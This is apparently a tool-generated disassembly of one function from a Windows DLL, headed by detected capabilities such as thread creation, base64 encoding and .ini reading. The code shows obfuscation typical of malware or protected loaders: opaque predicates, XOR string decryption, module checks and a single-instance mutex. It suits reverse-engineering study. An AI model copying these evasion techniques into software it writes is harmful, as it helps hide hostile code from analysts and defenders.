Function at 0x1800e2330
Capabilities:
Create thread
Encode data using base64
Move file
Read .ini file

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x368
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x2d0], xmm15
movdqa xmmword [rbp + 0x2c0], xmm14
movdqa xmmword [rbp + 0x2b0], xmm13
movdqa xmmword [rbp + 0x2a0], xmm12
movdqa xmmword [rbp + 0x290], xmm11
movdqa xmmword [rbp + 0x280], xmm10
movdqa xmmword [rbp + 0x270], xmm9
movdqa xmmword [rbp + 0x260], xmm8
movdqa xmmword [rbp + 0x250], xmm7
movdqa xmmword [rbp + 0x240], xmm6
mov qword [rbp + 0x238], 0xfffffffffffffffe
cmp edx, 1
jne 0x1800e2514
mov edx, dword [0x180342a6c]
mov ecx, dword [0x180342a68]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e23e2
test eax, eax
je 0x1800e23e2
nop word cs:[rax + rax]
nop
jmp 0x1800e23e0
movabs rdx, 0x9fd5c2cfeac0d8fe
mov qword [rbp - 0x50], rdx
mov dword [rbp - 0x48], 0xd1cbd7
cmp ecx, 0xa
jl 0x1800e2402
test eax, eax
je 0x1800e2402
jmp 0x1800e2400
mov eax, dword [0x180342a60]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x180342a64], 0xa
setl r8b
or r8b, cl
cmp r8b, 1
jne 0x1800e24a0
mov esi, 0x55
xor edx, edx
nop
cmp rdx, 0xb
je 0x1800e24a2
mov ebx, esi
and ebx, 0x20000020
lea eax, [rdx - 0x56]
mov ecx, esi
and ecx, 0xfe5aebb0
mov edi, eax
and edi, 0x1a5144f
or edi, ecx
xor edi, 0xc45052c0
and edi, eax
and eax, 0x2000840
or eax, ebx
lea ecx, [rdx + 0x1fffffaa]
and ecx, 0x18008010
or ecx, eax
xor ecx, 0x1a008850
mov eax, ecx
and eax, edi
mov ebx, esi
and ebx, 0x20
and ecx, 0x50
or ecx, ebx
xor ecx, edi
or ecx, eax
xor cl, byte [rbp + rdx - 0x50]
xor cl, 0x70
mov byte [rbp + rdx - 0x50], cl
add rdx, 1
add esi, 0xffffffff
test r8b, r8b
jne 0x1800e2430
nop
jmp 0x1800e24a0
mov byte [rbp - 0x45], 0
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800e257b
mov qword [0x18033b4f0], 0x97f832a
mov qword [0x18033b4f8], 0xfd5fb9a
mov qword [0x18033b500], 0xfb40cf2
mov qword [0x18033b520], 0x45ef0ba
mov eax, 0x9ba97051
mov qword [0x18033b508], rax
mov qword [0x18033b510], 0x126c2b2b
mov qword [0x18033b518], 0x80514fa
cmp byte [0x180340808], 0
je 0x1800e25a2
mov eax, 1
movaps xmm6, xmmword [rbp + 0x240]
movaps xmm7, xmmword [rbp + 0x250]
movaps xmm8, xmmword [rbp + 0x260]
movaps xmm9, xmmword [rbp + 0x270]
movaps xmm10, xmmword [rbp + 0x280]
movaps xmm11, xmmword [rbp + 0x290]
movaps xmm12, xmmword [rbp + 0x2a0]
movaps xmm13, xmmword [rbp + 0x2b0]
movaps xmm14, xmmword [rbp + 0x2c0]
movaps xmm15, xmmword [rbp + 0x2d0]
add rsp, 0x368
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, dword [0x180342a8c]
mov ecx, dword [0x180342a88]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e25d2
test eax, eax
je 0x1800e25d2
nop dword [rax]
jmp 0x1800e25a0
mov byte [0x180340808], 1
mov edx, dword [0x180342a5c]
mov ecx, dword [0x180342a58]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e2602
test eax, eax
je 0x1800e2602
nop word [rax + rax]
jmp 0x1800e25d0
movabs rdx, 0xd2d9d9dcc8ffeee8
mov qword [rbp - 0x50], rdx
mov dword [rbp - 0x48], 0xcdd19dd7
mov byte [rbp - 0x44], 0xd3
cmp ecx, 0xa
jl 0x1800e2632
test eax, eax
je 0x1800e2632
nop word cs:[rax + rax]
nop
jmp 0x1800e2600
movabs r14, 0x7feb7feb7fe37fec
mov qword [rbp - 0x50], r14
mov dword [rbp - 0x48], 0x7faf7fe6
mov word [rbp - 0x3a], 0
cmp ecx, 0xa
jl 0x1800e27ab
test eax, eax
je 0x1800e27ab
nop
jmp 0x1800e2630
mov byte [rbp - 0x43], 0
mov eax, dword [0x180342a80]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x180342a84], 0xa
setl al
test cl, 1
sete r8b
or r8b, al
xor edx, edx
jmp 0x1800e2664
cmp rdx, 0xd
je 0x1800e277e
movzx ebx, byte [rbp + rdx - 0x50]
mov r9d, 0x55
sub r9, rdx
test r8b, r8b
jne 0x1800e2690
mov r10d, edx
mov rdi, rdx
mov eax, r9d
jmp 0x1800e274b
mov r10, rdx
movzx edx, bl
mov eax, r9d
and eax, 0x37db3c69
lea edi, [r10 - 0x56]
mov ebx, edi
and ebx, 0xc824c396
or ebx, eax
xor ebx, edx
xor ebx, 0xc824c396
or ebx, r9d
mov eax, r9d
and eax, 0x12418144
mov ecx, edi
and ecx, 0x41145081
or ecx, eax
mov eax, r9d
and eax, 0x8222e08
and edi, 0xa4880032
add edi, eax
add edi, 0x11011184
xor edi, ecx
mov eax, edi
xor eax, 0xf49d4137
or eax, edx
xor edi, edx
xor edi, 0xb62bec8
and edi, eax
mov eax, ebx
and eax, 0xae7091ce
mov ecx, ebx
and ecx, 0x518f6e31
or ecx, 0x60800e
xor ecx, eax
mov eax, ecx
mov edx, edi
mov esi, edi
xor esi, ebx
not ebx
or ebx, edi
xor edi, 0xce
xor ecx, 0xc0
and ecx, edi
xor eax, 0x3f
xor edx, 0x31
and edx, eax
and ebx, esi
or ebx, edx
or ebx, ecx
mov byte [rbp + r10 - 0x50], bl
lea rdx, [r10 + 1]
mov rdi, r10
mov eax, r9d
test r8b, r8b
jne 0x1800e265a
movzx ecx, bl
lea edx, [r10 + 0xaa]
add r10d, 0x2a
and r10d, 0x3c
and eax, 0xc3
or eax, r10d
xor eax, 0x3c
and eax, ecx
not ecx
and edx, ecx
or eax, edx
mov byte [rbp + rdi - 0x50], al
mov rdx, rdi
mov ebx, eax
jmp 0x1800e2690
mov byte [rbp - 0x43], 0
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800e2514
lea rcx, [0x1800e1770]
xor edx, edx
xor r8d, r8d
call fcn.1800fb268
jmp 0x1800e2514
mov r9d, 0x3fff8055
xor r10d, r10d
lea r8d, [r9 - 0x40000000]
lea edx, [r10 + 0x7faa]
mov esi, edx
mov ecx, edx
mov edi, r9d
and edi, 0x24222983
and edx, 0xdbddd67c
or edx, edi
xor edx, 0x315c6da5
or edx, r8d
and r8d, 0xa09728c0
and esi, 0x6000101
or esi, r8d
and ecx, 0x5968d63e
or ecx, esi
mov ebx, ecx
and ebx, 0x157e4426
xor ebx, 0x160000
xor ecx, 0xb5e96ce6
or ecx, ebx
mov ebx, ecx
and ebx, 0xfa8a8c34
mov eax, ecx
and eax, 0x57573cb
or eax, 0xe2080434
xor eax, ebx
mov ebx, eax
xor ebx, 0xe77d77ff
mov edi, edx
and edi, 0xfa8a8c34
or ecx, edx
and edx, 0x57573cb
or edx, 0x8880020
xor edx, edi
mov edi, edx
xor edi, 0xdfd73eb
xor eax, 0x18828800
and eax, edi
xor edx, 0xf2028c14
and edx, ebx
or edx, eax
mov eax, ecx
xor eax, edx
not eax
not ecx
and ecx, edx
or ecx, eax
movzx edx, word [rbp + r10*2 - 0x50]
mov edi, edx
and edi, 0x4426
mov ebx, edx
and ebx, 0x9a09
mov eax, edx
or eax, 0x4426
xor edx, 0x4400
and edx, edi
or edi, 0x511821f6
xor edi, edx
xor eax, 0x21f6
and eax, edi
not edi
xor ebx, 0x9a2f
and ebx, edi
or eax, ebx
xor eax, ecx
mov word [rbp + r10*2 - 0x50], ax
add r10, 1
add r9d, 0xffffffff
cmp r10, 0xb
jne 0x1800e27b4
mov word [rbp - 0x3a], 0
lea r8, [rbp - 0x50]
mov ecx, 0x80000000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
jne 0x1800e2514
mov edx, dword [0x180342a5c]
mov ecx, dword [0x180342a58]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e2912
test eax, eax
je 0x1800e2912
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x1800e2910
mov qword [rbp - 0x50], r14
mov dword [rbp - 0x48], 0x7faf7fe6
mov word [rbp - 0x3a], 0
cmp ecx, 0xa
jl 0x1800e2932
test eax, eax
je 0x1800e2932
nop dword [rax]
jmp 0x1800e2930
mov r9d, 0x3fff8055
xor r10d, r10d
lea r8d, [r9 - 0x40000000]
lea edx, [r10 + 0x7faa]
mov esi, edx
mov ecx, edx
mov edi, r9d
and edi, 0x24222983
and edx, 0xdbddd67c
or edx, edi
xor edx, 0x315c6da5
or edx, r8d
and r8d, 0xa09728c0
and esi, 0x6000101
or esi, r8d
and ecx, 0x5968d63e
or ecx, esi
mov ebx, ecx
and ebx, 0x157e4426
xor ebx, 0x160000
xor ecx, 0xb5e96ce6
or ecx, ebx
mov ebx, ecx
and ebx, 0xfa8a8c34
mov eax, ecx
and eax, 0x57573cb
or eax, 0xe2080434
xor eax, ebx
mov ebx, eax
xor ebx, 0xe77d77ff
mov edi, edx
and edi, 0xfa8a8c34
or ecx, edx
and edx, 0x57573cb
or edx, 0x8880020
xor edx, edi
mov edi, edx
xor edi, 0xdfd73eb
xor eax, 0x18828800
and eax, edi
xor edx, 0xf2028c14
and edx, ebx
or edx, eax
mov eax, ecx
xor eax, edx
not eax
not ecx
and ecx, edx
or ecx, eax
movzx edx, word [rbp + r10*2 - 0x50]
mov edi, edx
and edi, 0x4426
mov ebx, edx
and ebx, 0x9a09
mov eax, edx
or eax, 0x4426
xor edx, 0x4400
and edx, edi
or edi, 0x511821f6
xor edi, edx
xor eax, 0x21f6
and eax, edi
not edi
xor ebx, 0x9a2f
and ebx, edi
or eax, ebx
xor eax, ecx
mov word [rbp + r10*2 - 0x50], ax
add r10, 1
add r9d, 0xffffffff
cmp r10, 0xb
jne 0x1800e293b
mov word [rbp - 0x3a], 0
lea r8, [rbp - 0x50]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test r14, r14
je 0x1800e2a78
cmp eax, 0xb7
jne 0x1800e2a80
mov rcx, r14
jmp 0x1800e2a7a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
mov r8d, 0x104
xor edx, edx
call fcn.1800eb450
cmp dword [0x180342a48], 0xa
jl 0x1800e2ab2
mov eax, dword [0x180342a4c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800e2ab2
nop dword [rax + rax]
jmp 0x1800e2ab0
movaps xmm0, xmmword [0x180188890]
movaps xmmword [rbp + 0x200], xmm0
mov esi, 0x55
xor ecx, ecx
movzx edx, byte [rbp + rcx + 0x200]
lea ebx, [rcx + 0xaa]
lea edi, [rcx - 0x56]
and ebx, edi
mov eax, esi
and eax, 0x189f660b
and edi, 0xe76099f4
or edi, eax
mov eax, edi
xor eax, 0xf4
or eax, edx
xor edi, edx
not edx
and ebx, edx
xor edi, 0xb
and edi, eax
or edi, ebx
mov byte [rbp + rcx + 0x200], dil
add rcx, 1
add esi, 0xffffffff
cmp rcx, 0xf
jne 0x1800e2ac7
mov byte [rbp + 0x20f], 0
mov edx, dword [0x180342a40]
mov ecx, dword [0x180342a44]
lea eax, [rdx - 1]
imul eax, edx
cmp ecx, 9
setg dl
and dl, al
test dl, dl
jne 0x1800e2b35
cmp ecx, 0xa
jl 0x1800e2b52
and eax, 1
je 0x1800e2b52
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800e2b50
cmp dword [0x180342a3c], 0xa
jl 0x1800e2b6e
mov eax, dword [0x180342a38]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800e2b6e
jmp 0x1800e2b6c
mov byte [rbp + 0x230], 0
mov edx, dword [0x180342a20]
mov ecx, dword [0x180342a24]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e2b95
test eax, eax
je 0x1800e2b95
jmp 0x1800e2b93
cmp ecx, 0xa
jl 0x1800e2ba0
test eax, eax
je 0x1800e2ba0
jmp 0x1800e2b9e
movabs rax, 0xd8dbcffdc0c7ee
mov qword [rbp + 0x1f0], rax
mov eax, dword [0x1803420a0]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x18034209c], 0xa
setl al
test cl, 1
sete r8b
or r8b, al
xor ebx, ebx
jmp 0x1800e2bdf
cmp rbx, 7
je 0x1800e2d3d
movzx edx, byte [rbp + rbx + 0x1f0]
lea rcx, [rbx - 0x56]
mov r10d, 0x55
sub r10, rbx
mov r9, rbx
test r8b, r8b
jne 0x1800e2c03
mov esi, ecx
mov eax, r10d
jmp 0x1800e2c80
movzx edx, dl
mov eax, r10d
and eax, 0xde57316f
mov ebx, ecx
and ebx, 0x21a8ce90
or ebx, eax
mov eax, ebx
xor eax, 0x4a328152
or ebx, 0x6b9a4fc2
xor ebx, 0xffdf7fef
or ebx, eax
mov eax, ebx
not eax
mov esi, ecx
and esi, 0x9465b03d
mov edi, edx
and edi, 0xffffffc2
or edi, 0x61201d
and edx, 0x3d
xor edx, edi
and eax, esi
xor esi, ebx
xor esi, eax
mov eax, edx
xor edx, 0xdf
and edx, esi
not esi
xor eax, esi
xor eax, 0xdf
and eax, esi
or edx, eax
mov byte [rbp + r9 + 0x1f0], dl
lea rbx, [r9 + 1]
mov esi, ecx
mov eax, r10d
test r8b, r8b
jne 0x1800e2bd5
movzx ebx, dl
mov edx, ebx
and edx, 0x16
or edx, 0xb9240348
mov edi, ebx
and edi, 0xffffffe9
xor edi, edx
mov edx, edi
xor edx, 0x74508643
xor edi, 0x445084b7
and edi, edx
and ebx, 0xfffffff4
or ebx, edi
mov edx, eax
and edx, 0x903314bb
or edx, 0x86104
mov edi, esi
and edi, 0xf486944
xor edi, edx
mov edx, edi
xor edx, 0xa2b00f4b
or edi, 0xcd74850b
xor edi, 0xdd7ff5bf
or edi, edx
and eax, 0x62157a94
and esi, 0x9dea856b
or esi, eax
mov eax, esi
xor eax, 0x509e0060
or esi, 0x328b7af4
xor esi, 0xbfebffff
or esi, eax
and esi, edi
mov eax, ebx
xor eax, 0x58
mov edx, esi
and edx, 0x87f32758
and esi, 0x380858a7
or esi, 0xc6c3a010
xor esi, edx
mov edx, esi
xor edx, 0xb7
xor ebx, 0xa7
and ebx, edx
xor esi, 0x48
and esi, eax
or esi, ebx
mov byte [rbp + r9 + 0x1f0], sil
mov edx, esi
jmp 0x1800e2c03
mov byte [rbp + 0x1f7], 0
movabs rax, 0x6769c8c3c3e8d9
mov qword [rbp + 0x1e8], rax
mov byte [rbp + 0x1e8], 0x73
mov dword [rbp + 0x1e9], 0x666e6f43
lea rax, [rbp + 0x200]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x400
lea rcx, [rbp + 0x1e8]
lea rdx, [rbp + 0x1f0]
lea r8, [rbp + 0x230]
lea rdi, [rbp - 0x50]
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov rcx, rdi
xor edx, edx
mov r8d, 8
call fcn.18000a070
mov qword [rbp + 0x178], rax
mov edx, dword [0x180342af0]
mov ecx, dword [0x180342aec]
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1800e2dd3
test eax, eax
je 0x1800e2dd3
jmp 0x1800e2dd1
movaps xmm0, xmmword [0x1801888a0]
movaps xmmword [rbp + 0x200], xmm0
movaps xmm0, xmmword [0x1801888b0]
movaps xmmword [rbp + 0x210], xmm0
cmp ecx, 0xa
jl 0x1800e2dfa
test eax, eax
je 0x1800e2dfa
jmp 0x1800e2df8
mov eax, dword [0x180342ae8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp dword [0x180342ae4], 0xa
mov byte [rbp + 0x220], 0
setl al
test ecx, ecx
sete dl
xor cl, al
xor cl, 1
or dl, al
or dl, cl
movzx eax, dl
movd xmm0, eax
pshuflw xmm0, xmm0, 0
pshufd xmm1, xmm0, 0
pcmpeqd xmm2, xmm2
movdqa xmm0, xmm1
pxor xmm0, xmm2
psllw xmm0, 0xf
packsswb xmm0, xmm0
pmovmskb eax, xmm0
mov ecx, eax
and cl, 2
shr cl, 1
mov byte [rbp + 0x22d], cl
mov ecx, eax
and cl, 4
shr cl, 2
mov byte [rbp + 0x22e], cl
mov r10d, eax
and r10b, 8
shr r10b, 3
mov r15d, eax
and r15b, 0x10
shr r15b, 4
mov r13d, eax
and r13b, 0x20
shr r13b, 5
mov r9d, eax
and r9b, 0x40
shr r9b, 6
mov ecx, eax
shr cl, 7
mov byte [rbp + 0x22f], cl
movdqa xmm0, xmmword [0x1801883f0]
movdqa xmm2, xmmword [0x180188400]
xor edi, edi
movdqa xmm3, xmm1
punpcklwd xmm3, xmm3
pslld xmm3, 0x1f
psrad xmm3, 0x1f
movdqa xmmword [rbp + 0x110], xmm3
movdqa xmm3, xmm1
punpckhwd xmm3, xmm3
pslld xmm3, 0x1f
psrad xmm3, 0x1f
movdqa xmmword [rbp + 0x120], xmm3
pextrw esi, xmm1, 3
shl esi, 8
pextrw ecx, xmm1, 2
mov dword [rbp + 0x1e0], ecx
pextrw edx, xmm1, 1
shl edx, 8
movd dword [rbp + 0x1e4], xmm1
pextrw r11d, xmm1, 5
pextrw r12d, xmm1, 4
movdqa xmmword [rbp + 0x100], xmm1
pextrw r8d, xmm1, 7
shl r11d, 8
shl r8d, 8
movdqa xmmword [rbp + 0x1a0], xmm2
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmmword [rbp + 0x130], xmm2
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x1c0], xmm2
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmmword [rbp + 0x190], xmm2
movdqa xmmword [rbp + 0x150], xmm2
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmmword [rbp + 0x160], xmm0
jmp 0x1800e330e
movdqa xmm0, xmmword [rbp + 0x1d0]
movdqa xmm2, xmmword [0x180188420]
paddd xmm0, xmm2
movdqa xmm6, xmmword [rbp + 0x110]
movdqa xmm7, xmm6
pandn xmm7, xmmword [rbp + 0xf0]
movdqa xmm1, xmmword [rbp + 0x1c0]
paddd xmm1, xmm2
pand xmm1, xmm6
por xmm7, xmm1
movdqa xmm4, xmmword [rbp + 0x120]
pand xmm0, xmm4
movdqa xmm3, xmm4
pandn xmm3, xmmword [rbp + 0xe0]
por xmm3, xmm0
movzx ecx, byte [rbp + 0x1e0]
or ecx, esi
movzx ebx, byte [rbp + 0x1e4]
or ebx, edx
movd xmm0, ebx
pinsrw xmm0, ecx, 1
movzx ecx, r12b
or ecx, r11d
pinsrw xmm0, ecx, 2
movdqa xmm1, xmmword [rbp + 0x100]
pextrw ecx, xmm1, 6
movzx ecx, cl
or ecx, r8d
pinsrw xmm0, ecx, 3
psllw xmm0, 7
pand xmm0, xmmword [0x180188540]
pxor xmm2, xmm2
pcmpgtb xmm2, xmm0
movdqa xmm1, xmm4
pandn xmm1, xmmword [rbp + 0xd0]
movdqa xmm5, xmmword [0x180188410]
movdqa xmm0, xmm5
movdqa xmm15, xmmword [rbp + 0x140]
psubd xmm0, xmm15
pand xmm0, xmm4
por xmm1, xmm0
movdqa xmm4, xmm6
pandn xmm4, xmmword [rbp + 0xc0]
movdqa xmm0, xmm5
movdqa xmm14, xmmword [rbp + 0x130]
psubd xmm0, xmm14
pand xmm0, xmm6
por xmm4, xmm0
movq xmm0, qword [rbp + rdi + 0x200]
pand xmm0, xmm2
pandn xmm2, xmm8
por xmm2, xmm0
pxor xmm0, xmm0
punpcklbw xmm2, xmm0
movdqa xmm5, xmm2
punpckhwd xmm5, xmm0
punpcklwd xmm2, xmm0
movdqa xmm13, xmmword [rbp + 0x160]
movdqa xmm0, xmm13
movdqa xmm8, xmmword [0x180188560]
paddd xmm0, xmm8
movdqa xmm9, xmmword [0x180188570]
pand xmm0, xmm9
movdqa xmm10, xmmword [0x180188580]
pand xmm3, xmm10
por xmm3, xmm0
movdqa xmm0, xmm1
movdqa xmm11, xmmword [0x180188550]
pand xmm1, xmm11
por xmm3, xmm1
movdqa xmm12, xmmword [rbp + 0x150]
movdqa xmm1, xmm12
paddd xmm1, xmm8
pand xmm1, xmm9
pand xmm7, xmm10
por xmm7, xmm1
movdqa xmm1, xmm4
por xmm1, xmm2
por xmm0, xmm5
pand xmm4, xmm11
por xmm7, xmm4
movdqa xmm4, xmm3
movdqa xmm6, xmmword [0x180188590]
pxor xmm4, xmm6
por xmm4, xmm5
pxor xmm3, xmm11
pxor xmm3, xmm5
movdqa xmm5, xmm7
pxor xmm5, xmm6
por xmm5, xmm2
pand xmm3, xmm4
pxor xmm7, xmm11
pxor xmm7, xmm2
pand xmm7, xmm5
movdqa xmm4, xmm0
movdqa xmm5, xmmword [0x1801885a0]
pand xmm4, xmm5
movdqa xmm2, xmm1
pand xmm2, xmm5
movdqa xmm5, xmm0
movdqa xmm8, xmmword [0x1801885b0]
pand xmm5, xmm8
movdqa xmm6, xmmword [0x1801885c0]
por xmm5, xmm6
pxor xmm4, xmm3
pxor xmm4, xmm5
movdqa xmm5, xmm1
pand xmm5, xmm8
por xmm5, xmm6
pxor xmm2, xmm7
pxor xmm2, xmm5
movdqa xmm5, xmm7
pxor xmm5, xmm1
pcmpeqd xmm6, xmm6
pxor xmm1, xmm6
por xmm1, xmm7
pand xmm1, xmm5
movdqa xmm5, xmm3
pxor xmm5, xmm0
pxor xmm0, xmm6
por xmm0, xmm3
pand xmm0, xmm5
movdqa xmm3, xmm4
pxor xmm3, xmm0
movdqa xmm5, xmmword [0x1801885d0]
pxor xmm4, xmm5
pand xmm4, xmm0
pxor xmm3, xmm5
por xmm4, xmm3
movdqa xmm0, xmm2
pxor xmm0, xmm1
pxor xmm2, xmm5
pand xmm2, xmm1
pxor xmm0, xmm5
por xmm2, xmm0
movdqa xmm0, xmmword [0x18010af60]
pand xmm4, xmm0
pand xmm2, xmm0
packuswb xmm2, xmm4
packuswb xmm2, xmm2
movq qword [rbp + rdi + 0x200], xmm2
add rdi, 8
movdqa xmm0, xmmword [rbp + 0x190]
movdqa xmm1, xmmword [0x1801885e0]
paddd xmm0, xmm1
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm0, xmmword [rbp + 0x180]
paddd xmm0, xmm1
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm0, xmmword [rbp + 0x1a0]
paddd xmm0, xmm1
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm0, xmmword [rbp + 0x1b0]
paddd xmm0, xmm1
movdqa xmmword [rbp + 0x1b0], xmm0
paddd xmm14, xmm1
movdqa xmmword [rbp + 0x130], xmm14
paddd xmm15, xmm1
movdqa xmmword [rbp + 0x140], xmm15
movdqa xmm0, xmmword [rbp + 0x1c0]
paddd xmm0, xmm1
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmm0, xmmword [rbp + 0x1d0]
paddd xmm0, xmm1
movdqa xmmword [rbp + 0x1d0], xmm0
paddd xmm12, xmm1
movdqa xmmword [rbp + 0x150], xmm12
paddd xmm13, xmm1
movdqa xmmword [rbp + 0x160], xmm13
cmp rdi, 0x20
je 0x1800e36e6
movq xmm15, qword [rbp + rdi + 0x200]
movdqa xmm10, xmmword [0x180188410]
movdqa xmm5, xmm10
psubd xmm5, xmmword [rbp + 0x190]
movdqa xmm6, xmm10
psubd xmm6, xmmword [rbp + 0x180]
movdqa xmm7, xmmword [rbp + 0x1b0]
movdqa xmm0, xmmword [0x180188420]
paddd xmm7, xmm0
movdqa xmm3, xmmword [rbp + 0x1a0]
paddd xmm3, xmm0
pxor xmm0, xmm0
punpcklbw xmm15, xmm0
movdqa xmm4, xmm15
punpckhwd xmm4, xmm0
punpcklwd xmm15, xmm0
movdqa xmm0, xmm15
movdqa xmm2, xmmword [0x180188430]
pand xmm0, xmm2
movdqa xmm1, xmm4
pand xmm1, xmm2
movdqa xmm2, xmmword [0x180188440]
por xmm1, xmm2
por xmm0, xmm2
movdqa xmm10, xmm4
movdqa xmm2, xmmword [str.CCCCAAAA]
pand xmm10, xmm2
pxor xmm10, xmm1
movdqa xmm14, xmm15
pand xmm14, xmm2
pxor xmm14, xmm0
movdqa xmm0, xmm10
movdqa xmm2, xmmword [0x180188460]
pxor xmm0, xmm2
movdqa xmm1, xmm14
pxor xmm1, xmm2
movdqa xmm2, xmmword [0x180188470]
pxor xmm10, xmm2
por xmm10, xmm0
pxor xmm14, xmm2
por xmm14, xmm1
movdqa xmm0, xmm6
movdqa xmm2, xmmword [0x180188480]
pand xmm0, xmm2
movdqa xmm1, xmm5
pand xmm1, xmm2
movdqa xmm13, xmm2
pandn xmm13, xmm3
por xmm13, xmm1
movdqa xmm9, xmm2
pandn xmm9, xmm7
por xmm9, xmm0
movdqa xmm0, xmm9
movdqa xmm8, xmmword [0x180188490]
pxor xmm0, xmm8
movdqa xmm1, xmm13
pxor xmm1, xmm8
pxor xmm9, xmm2
por xmm9, xmm0
pxor xmm13, xmm2
por xmm13, xmm1
movdqa xmm1, xmm6
movdqa xmm2, xmmword [0x1801884a0]
pand xmm1, xmm2
movdqa xmm0, xmm5
pand xmm0, xmm2
movdqa xmm8, xmm2
movdqa xmmword [rbp + 0xf0], xmm3
pandn xmm8, xmm3
por xmm8, xmm0
movdqa xmm0, xmm2
movdqa xmmword [rbp + 0xe0], xmm7
pandn xmm0, xmm7
por xmm0, xmm1
movdqa xmm1, xmmword [0x1801884b0]
pxor xmm0, xmm1
pxor xmm8, xmm1
movdqa xmmword [rbp + 0xc0], xmm5
por xmm8, xmm5
movdqa xmmword [rbp + 0xd0], xmm6
por xmm0, xmm6
pcmpeqd xmm1, xmm1
pxor xmm10, xmm1
pxor xmm14, xmm1
por xmm14, xmm15
por xmm10, xmm4
movdqa xmm4, xmm9
movdqa xmm15, xmm0
movdqa xmm2, xmm0
por xmm0, xmm9
movdqa xmm11, xmmword [0x1801884c0]
pand xmm9, xmm11
movdqa xmm3, xmm13
movdqa xmm12, xmmword [0x1801884d0]
pand xmm4, xmm12
movdqa xmm1, xmmword [0x1801884e0]
por xmm4, xmm1
pxor xmm4, xmm9
movdqa xmm5, xmm8
movdqa xmm6, xmm8
por xmm8, xmm13
pand xmm13, xmm11
pand xmm3, xmm12
por xmm3, xmm1
pxor xmm3, xmm13
movdqa xmm9, xmm4
pand xmm15, xmm11
pand xmm2, xmm12
movdqa xmm13, xmmword [0x180188500]
por xmm2, xmm13
pxor xmm2, xmm15
movdqa xmm1, xmm3
pand xmm5, xmm11
pand xmm6, xmm12
por xmm6, xmm13
pxor xmm6, xmm5
movdqa xmm5, xmm2
movdqa xmm11, xmmword [0x180188510]
pxor xmm5, xmm11
movdqa xmm7, xmmword [0x180188520]
pxor xmm4, xmm7
pand xmm4, xmm5
movdqa xmm5, xmm6
pxor xmm5, xmm11
pxor xmm3, xmm7
pand xmm3, xmm5
movdqa xmm5, xmmword [0x1801884f0]
pxor xmm9, xmm5
movdqa xmm7, xmmword [0x180188530]
pxor xmm2, xmm7
pand xmm2, xmm9
por xmm2, xmm4
pxor xmm1, xmm5
pxor xmm6, xmm7
pand xmm6, xmm1
por xmm6, xmm3
movdqa xmm1, xmm0
pcmpeqd xmm3, xmm3
pxor xmm1, xmm3
pxor xmm1, xmm2
pandn xmm0, xmm2
por xmm0, xmm1
pxor xmm0, xmm10
movdqa xmm1, xmm8
pxor xmm1, xmm3
pxor xmm1, xmm6
pandn xmm8, xmm6
por xmm8, xmm1
pxor xmm8, xmm14
movdqa xmm1, xmmword [0x18010af60]
pand xmm8, xmm1
pand xmm0, xmm1
packuswb xmm8, xmm0
packuswb xmm8, xmm8
movd ecx, xmm8
test al, 1
jne 0x1800e36af
cmp byte [rbp + 0x22d], 0
jne 0x1800e36bf
cmp byte [rbp + 0x22e], 0
jne 0x1800e36cf
test r10b, r10b
je 0x1800e3666
shr ecx, 0x18
mov byte [rbp + rdi + 0x203], cl
pextrw ebx, xmm8, 2
test r15b, r15b
je 0x1800e3678
mov byte [rbp + rdi + 0x204], bl
test r13b, r13b
je 0x1800e3684
mov byte [rbp + rdi + 0x205], bh
pextrw ebx, xmm8, 3
test r9b, r9b
je 0x1800e3696
mov byte [rbp + rdi + 0x206], bl
cmp byte [rbp + 0x22f], 0
je 0x1800e2f84
mov byte [rbp + rdi + 0x207], bh
jmp 0x1800e2f84
mov byte [rbp + rdi + 0x200], cl
cmp byte [rbp + 0x22d], 0
je 0x1800e364e
mov byte [rbp + rdi + 0x201], ch
cmp byte [rbp + 0x22e], 0
je 0x1800e3657
mov ebx, ecx
shr ebx, 0x10
mov byte [rbp + rdi + 0x202], bl
test r10b, r10b
jne 0x1800e365c
jmp 0x1800e3666
mov byte [rbp + 0x220], 0
cmp dword [0x180342128], 0xa
jl 0x1800e3745
mov eax, dword [0x18034212c]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800e3745
lea rbx, [0x180340018]
